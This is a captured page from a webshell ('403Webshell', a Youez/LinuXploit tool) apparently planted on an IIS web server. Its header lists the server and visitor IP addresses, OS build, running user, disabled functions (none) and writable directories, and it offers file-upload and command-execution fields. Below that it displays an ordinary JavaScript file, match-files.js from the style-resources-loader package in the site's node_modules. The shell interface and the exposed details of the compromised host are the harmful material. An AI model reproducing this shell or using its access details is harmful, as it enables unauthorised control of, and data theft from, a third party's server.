403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/style-resources-loader/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/style-resources-loader/lib/utils/match-files.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.matchFiles = void 0;
const tslib_1 = require("tslib");
const path_1 = (0, tslib_1.__importDefault)(require("path"));
const util_1 = (0, tslib_1.__importDefault)(require("util"));
const glob_1 = (0, tslib_1.__importDefault)(require("glob"));
const type_guards_1 = require("./type-guards");
const isLegacyWebpack = (ctx) => !!ctx.options;
const getRootContext = (ctx) => {
    if (isLegacyWebpack(ctx)) {
        return ctx.options.context;
    }
    return ctx.rootContext;
};
const flatten = (items) => {
    const emptyItems = [];
    return emptyItems.concat(...items);
};
const matchFiles = async (ctx, options) => {
    const { patterns, globOptions } = options;
    const files = await Promise.all(patterns.map(async (pattern) => {
        const rootContext = getRootContext(ctx);
        const absolutePattern = path_1.default.isAbsolute(pattern) ? pattern : path_1.default.resolve(rootContext, pattern);
        const partialFiles = await util_1.default.promisify(glob_1.default)(absolutePattern, globOptions);
        return partialFiles.filter(type_guards_1.isStyleFile);
    }));
    return [...new Set(flatten(files))].map(file => path_1.default.resolve(file));
};
exports.matchFiles = matchFiles;
//# sourceMappingURL=match-files.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit